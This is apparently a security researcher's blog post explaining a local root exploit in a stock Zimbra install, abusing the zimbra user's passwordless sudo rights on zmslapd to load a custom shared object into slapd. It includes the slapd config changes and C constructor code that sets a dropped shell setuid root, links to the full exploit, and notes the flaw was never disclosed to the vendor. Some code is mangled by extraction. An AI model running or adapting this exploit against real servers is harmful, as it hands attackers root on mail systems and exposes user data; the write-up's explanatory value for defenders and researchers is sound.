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## Zimbra "zmslapd" Local Root Exploit.

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This exploit was brought to you by "reading the manual", mostly. It is the second local privilege escalation I found while doing an extremely low effort audit of Zimbra.

You should read the first post, here:

https://darrenmartyn.ie/2021/10/25/zimbra-nginx-local-root-exploit/

In order to exploit this issue, you need code execution as the "zimbra" user.

TL;DR: In a stock Zimbra install, the "zimbra" user has access to run a number of shell commands with root permissions.

One of these is "zmslapd", as per the following output from "sudo -l":

1 (root) NOPASSWD: /opt/zimbra/libexec/zmslapd

What does this command do? Well, lets find out. Using the extremely sophisticated reverse engineering software, cat, we can do so. I even left the licence block in, just, you know, to be nice.

```
$ cat /opt/zimbra/libexec/zmslapd
 1
 2
     #!/bin/bash
 3
     # ***** BEGIN LICENSE BLOCK *****
 4
 5
     # Zimbra Collaboration Suite Server
     # Copyright (C) 2007, 2008, 2009, 2010, 2012, 2013, 2014, 2
 6
 7
 8
     # This program is free software: you can redistribute it an
     # the terms of the GNU General Public License as published
 9
     # version 2 of the License.
10
11
     # This program is distributed in the hope that it will be a
12
     # without even the implied warranty of MERCHANTABILITY or I
13
     # See the GNU General Public License for more details.
14
     # You should have received a copy of the GNU General Public
15
     # If not, see <https://www.gnu.org/licenses/>.
16
     # **** END LICENSE BLOCK *****
17
18
     #
19
20
     ulimit -n 32768
21
     ulimit -c unlimited
     ulimit -v unlimited
22
     export LD PRELOAD=/opt/zimbra/common/lib/libtcmalloc minima
23
     exec /opt/zimbra/common/libexec/slapd "$@"
24
```

So basically all this script does is execute slapd with whatever arguments we give it, after setting up some ulimit stuff and LD\_PRELOAD'ing a specific malloc implementation.

We now shall refer to the slapd manual, in order to figure out a way to exploit this.

Using the -u root and -g root arguments, we can ensure that slapd does not drop permissions when ran, and runs as root. With the -f filename argument, we can force it to use a specific configuration file.

We copy the slapd config file zimbra ships with, and look for something usable. Turns out, there is a way to load in modules, which are just shared objects. So we tweak configuration to do just that.

```
# Load dynamic backend modules:
modulepath /tmp/slapper
moduleload hax.so
# moduleload back_ldap.la
```

What is "hax.so"? Well, it is a shared object that just puts the setuid bit on a shell we drop. We use a constructor so it runs once its loaded, instead of writing a proper module for slapd. It is just easier this way and works fine.

```
#include <stdio.h>
1
2
    #include <sys/types.h>
    #include <unistd.h>
3
      attribute__ ((__constructor__))
4
    void dropshell(void){
5
        chown("/tmp/slapper/rootslap", 0, 0);
6
        chmod("/tmp/slapper/rootslap", 04755);
7
        printf("[+] done!\n");
8
    }
```

We package up this whole thing into a nice shell script, and we get the following.

The steps are fairly simple. Create a directory to work in, create our shared object, a rootshell binary, and our config file. Then run the zslapd command with sudo and arguments to run as root and use our config file. We get root.

You can find the exploit code here:

https://github.com/darrenmartyn/zimbra-slapper

There are more privesc opportunities in Zimbra waiting to be exploited. I might even spend time on those next. Just depends how much time I want to spend reading manual pages. Maybe finding the next one is an exercise for the reader?

Disclosure timeline: None, I just didn't bother. See the previous post for why.

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